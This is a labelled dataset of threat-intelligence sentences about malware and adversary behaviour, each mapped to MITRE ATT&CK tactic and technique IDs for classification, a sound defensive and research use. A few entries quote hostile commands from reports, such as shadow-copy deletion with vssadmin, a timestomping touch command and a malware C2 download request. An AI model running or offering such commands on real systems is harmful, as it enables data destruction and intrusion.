madox81/Adema_ATTACK_DS huggingface dataset:
Input: Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: Lazarus Group has maintained persistence by loading malicious code into a startup folder or by adding a Registry Run key.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Metamorfo has injected a malicious DLL into the Windows Media Player process (wmplayer.exe).

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: In February 2018, several KHRAT associated domains began resolving to the IP address 89.46.222[.]97

Tactics: TA0007
Techniques: T1016
Input: Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

Tactics: TA0001
Techniques: T1195.001, T1195, T1195.002
Input: Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS.

Tactics: TA0005
Techniques: T1553.001, T1553
Input: SOUNDBITE is capable of enumerating application windows.

Tactics: TA0007
Techniques: T1010
Input: Identify and block potentially malicious software executed through AppInit DLLs functionality by using application control  tools, like Windows Defender Application Control, AppLocker,   or Software Restriction Policies  where appropriate.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.010
Input: GeminiDuke collects information on running processes and environment variables from the victim.

Tactics: TA0007
Techniques: T1057
Input: Lazarus Group has queried an active directory server to obtain the list of accounts, including administrator accounts.

Tactics: TA0007
Techniques: T1087.002, T1087
Input: Leafminer used a tool called MailSniper to search through the Exchange server mailboxes for keywords.

Tactics: TA0009
Techniques: T1114, T1114.002
Input: Kessel has exfiltrated information gathered from the infected system to the C2 server.

Tactics: TA0010
Techniques: T1041
Input: Dacls can establish persistence via a Launch Daemon.

Tactics: TA0003, TA0004
Techniques: T1543.004, T1543
Input: LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder.

Tactics: TA0006, TA0009
Techniques: T1056
Input: Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3

Tactics: TA0002
Techniques: T1204
Input: IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: Bisonal has used raw sockets for network communication.

Tactics: TA0011
Techniques: T1095
Input: Credentials targeted by PinchDuke include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Threat actors compromise a website used by their target demographic (e.g., compromising a website specializing in oil and gas industry news when targeting the energy vertical)

Tactics: TA0001
Techniques: T1189
Input: Javali has been delivered as malicious e-mail attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Monitor executed commands and arguments that may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.

Tactics: TA0005
Techniques: T1218, T1218.001
Input: Wizard Spider has used file deletion to remove some modules and configurations from an infected host after use.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flow ( snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s))

Tactics: TA0009
Techniques: T1602.001, T1602
Input: Astaroth creates a startup item for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.

Tactics: TA0006, TA0007
Techniques: T1033, T1003
Input: Cardinal RAT is downloaded using HTTP over port 443.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Monitor for changes made to the operating system of a network device because image downgrade may be used in conjunction with  Patch System Image, it may be appropriate to also verify the integrity of the vendor provided operating system image file.

Tactics: TA0005
Techniques: T1601, T1601.002
Input: After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file

Tactics: TA0005
Techniques: T1070, T1070.006
Input: S-Type uses HTTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Wizard Spider has used "whoami" to identify the local user and their privileges.

Tactics: TA0007
Techniques: T1033
Input: OSX/Shlayer can install malicious Safari browser extensions to serve ads.

Tactics: TA0003
Techniques: T1176
Input: Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.

Tactics: TA0009
Techniques: T1005
Input: Monitor executed commands and arguments for token manipulation by auditing command-line activity.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows.

Tactics: TA0006
Techniques: T1552.004, T1552
Input: Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Tactics: TA0006
Techniques: T1110.004, T1110
Input: An example of this decompressed configuration may be seen below:  Figure 2 Decompressed Reaver configuration This configuration contains multiple pieces of information, including the following:  Network port Sleep timer between network requests Remote Command and Control (C2) Service Name Service Description Service Display Name Hardcoded String

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Okrum has used a custom implementation of AES encryption to encrypt collected data.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.004
Input: Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Tactics: TA0043
Techniques: T1593, T1593.001
Input: TeamTNT has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.

Tactics: TA0007
Techniques: T1046
Input: This request is followed by a call to “GetisrunasAbById” to determine if the Trojan should use “runas” to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Rover takes screenshots of the compromised system's desktop and saves them to C:\system\screenshot.bmp for exfiltration every 60 minutes.

Tactics: TA0009
Techniques: T1113
Input: Mythic can use a list of C2 URLs as fallback mechanisms in case one IP or domain gets blocked.

Tactics: TA0011
Techniques: T1008
Input: FIN8 has used dsquery and other Active Directory utilities to enumerate hosts; they have also used nltest.exe /dclist to retrieve a list of domain controllers.

Tactics: TA0007
Techniques: T1018
Input: RTM uses the command line and rundll32.exe to execute.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: NETWIRE can issue commands using cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites.

Tactics: TA0009
Techniques: T1005
Input: Restrict read/write access to system-level process files to only select privileged users who have a legitimate need to manage system services.

Tactics: TA0003, TA0004
Techniques: T1543
Input: Misdat network traffic is Base64-encoded plaintext.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: P.A.S. Webshell can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: Cobalt Group has created Windows tasks to establish persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Tactics: TA0042
Techniques: T1587, T1587.001
Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.

Tactics: TA0006
Techniques: T1558
Input: Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats.

Tactics: TA0040
Techniques: T1565.001, T1565
Input: FIN6 has used Windows Credential Editor for credential dumping.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: SynAck payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.

Tactics: TA0005
Techniques: T1027
Input: Carberp has created a hidden file in the Startup folder of the current user.

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API.

Tactics: TA0002
Techniques: T1106
Input: Locations where profile.ps1 can be stored should be monitored for modifications.

Tactics: TA0003, TA0004
Techniques: T1546.013, T1546
Input: Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows ( unusual network communications or suspicious communications sending fixed size data packets at regular intervals as well as unusually long connection patterns).

Tactics: TA0010
Techniques: T1030
Input: DropBook has checked for the presence of Arabic language in the infected machine's settings.

Tactics: TA0007
Techniques: T1614, T1082, T1614.001
Input: Pteranodon can use cmd.exe for execution on victim systems.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: cmd can be used to find files and directories with native functionality such as dir commands.

Tactics: TA0007
Techniques: T1083
Input: Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\16)

Tactics: TA0007
Techniques: T1046
Input: Lazarus Group has conducted internal spearphishing from within a compromised organization.

Tactics: TA0008
Techniques: T1534
Input: Monitor for changes made to files that may modify the kernel to automatically execute programs on system boot.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.006
Input: Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications.

Tactics: TA0040
Techniques: T1499, T1499.003
Input: Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration

Tactics: TA0009
Techniques: T1113
Input: jRAT has a function to delete files from the victim’s machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Catchamas adds a new service named NetAdapter to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.

Tactics: TA0005
Techniques: T1599
Input: Figure 2 SYSCON network traffic witnessed during execution   Pivoting on the domain hosting the SYSCON sample, 881.000webhostapp[.]com, revealed a number of additional samples, including a sample of the KONNI malware family, and four 64-bit executable files belonging to the CARROTBAT malware family

Tactics: TA0011
Techniques: T1105
Input: RTM can capture screenshots.

Tactics: TA0009
Techniques: T1113
Input: Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.

Tactics: TA0004, TA0005
Techniques: T1548, T1548.001
Input: Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Cardinal RAT can log keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Molerats has sent phishing emails with malicious Microsoft Word and PDF attachments.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

Tactics: TA0042
Techniques: T1587
Input: Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

Tactics: TA0011
Techniques: T1572
Input: Dok uses AppleScript to install a login Item by sending Apple events to the System Events process.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.015
Input: The group's JavaScript backdoor is also capable of downloading files.

Tactics: TA0011
Techniques: T1105
Input: Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: Thrip used a cloud-based remote access software called LogMeIn for their attacks.

Tactics: TA0011
Techniques: T1219
Input: The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null

Tactics: TA0005, TA0007, TA0011
Techniques: T1070, T1070.006, T1090.003, T1564, T1124, T1090, T1564.001
Input: Monitor executed commands and arguments that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.

Tactics: TA0010
Techniques: T1567
Input: Pasam creates a backdoor through which remote attackers can retrieve lists of running processes.

Tactics: TA0007
Techniques: T1057
Input: MarkiRAT can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.

Tactics: TA0007
Techniques: T1083
Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).

Tactics: TA0002, TA0003, TA0004
Techniques: T1053
Input: Industroyer decrypts code to connect to a remote C2 server.

Tactics: TA0005
Techniques: T1140
Input: BitPaymer attempts to remove the backup shadow files from the host using vssadmin.exe Delete Shadows /All /Quiet.

Tactics: TA0040
Techniques: T1490
Input: ThreatNeedle can download additional tools to enable lateral movement.

Tactics: TA0011
Techniques: T1105
Input: Cuba can enumerate files by using a variety of functions.

Tactics: TA0007
Techniques: T1083
Input: Turla has gathered credentials from the Windows Credential Manager tool.

Tactics: TA0006
Techniques: T1555, T1555.004
Input: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.

Tactics: TA0006
Techniques: T1003, T1003.004
Input: Both types of Outlook data files are typically stored in C:\Users\<username>\Documents\Outlook Files or C:\Users\<username>\AppData\Local\Microsoft\Outlook.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server

Tactics: TA0007, TA0011
Techniques: T1033, T1105
Input: BoxCaon has used DropBox for C2 communications.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: In doing so, it will attempt to detect the following Anti-Virus products via various techniques:  Trend Micro Kaspersky Symantec Avira AVG ALYac Ahnlab  Ahnlab and ALYac are the most widely used Anti-Virus solutions in South Korea, and Trend Micro and the rest are also known to be most widely used in Taiwan

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Gamaredon Group has downloaded additional malware and tools onto a compromised host.

Tactics: TA0011
Techniques: T1105
Input: Lazarus Group has exfiltrated data and files over a C2 channel through its various tools and malware.

Tactics: TA0010
Techniques: T1041
Input: Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.

Tactics: TA0042
Techniques: T1588, T1587
Input: IFEOs enable a developer to attach a debugger to an application.

Tactics: TA0003, TA0004
Techniques: T1546.012, T1546
Input: SynAck gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.

Tactics: TA0007
Techniques: T1082
Input: Kwampirs collects a list of running services with the command tasklist /svc.

Tactics: TA0007
Techniques: T1007
Input: Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process.

Tactics: TA0005
Techniques: T1620
Input: StrongPity can automatically exfiltrate collected documents to the C2 server.

Tactics: TA0010
Techniques: T1020
Input: In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.. Further, adversaries may abuse network device interfaces (such as wlanAPI) to brute force accessible wifi-router(s) via wireless authentication protocols.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: DarkWatchman can delete shadow volumes using vssadmin.exe.

Tactics: TA0040
Techniques: T1490
Input: POWERSTATS has used PowerShell code with custom string obfuscation

Tactics: TA0005
Techniques: T1027
Input: Ramsay can hijack outdated Windows application dependencies with malicious versions of its own DLL payload.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1574
Input: Backdoor.Oldrea collects information about the OS and computer name.

Tactics: TA0007
Techniques: T1082
Input: Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).

Tactics: TA0002
Techniques: T1559, T1559.001
Input: Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter.

Tactics: TA0005
Techniques: T1027
Input: Remote access tools with built-in features may interact directly with the Windows API to gather data.

Tactics: TA0009
Techniques: T1005
Input: Adversaries may employ various means to detect and avoid debuggers.

Tactics: TA0005, TA0007
Techniques: T1622
Input: APT39 has used remote access tools that leverage DNS in communications with C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Elise creates a file in AppData\Local\Microsoft\Windows\Explorer and stores all harvested data in that file.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.

Tactics: TA0043
Techniques: T1593, T1593.002
Input: Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM).

Tactics: TA0008
Techniques: T1021.003, T1021
Input: Grandoreiro can use VBScript to execute malicious code.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: BlackMould can enumerate local drives on a compromised host.

Tactics: TA0007
Techniques: T1082
Input: ABK has the ability to identify the installed anti-virus product on the compromised host.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Pony has sent collected information to the C2 via HTTP POST request.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.

Tactics: TA0005
Techniques: T1218, T1218.014
Input: The string is formatted as “<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>”   ^slp Sets the sleep and jitter values   ^exit Exits the Trojan    Table 5 Commands available within the C# variant of RogueRobin Using Google Drive for C2 A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode

Tactics: TA0011
Techniques: T1102
Input: 17 Complete List of Malware Files  Fig

Tactics: TA0007
Techniques: T1083
Input: Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).

Tactics: TA0006
Techniques: T1558.003, T1558
Input: zwShell can obtain the victim PC name and OS version.

Tactics: TA0007
Techniques: T1082
Input: Turian has the ability to use /bin/sh to execute commands.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: Out1 can copy files and Registry data from compromised hosts.

Tactics: TA0009
Techniques: T1005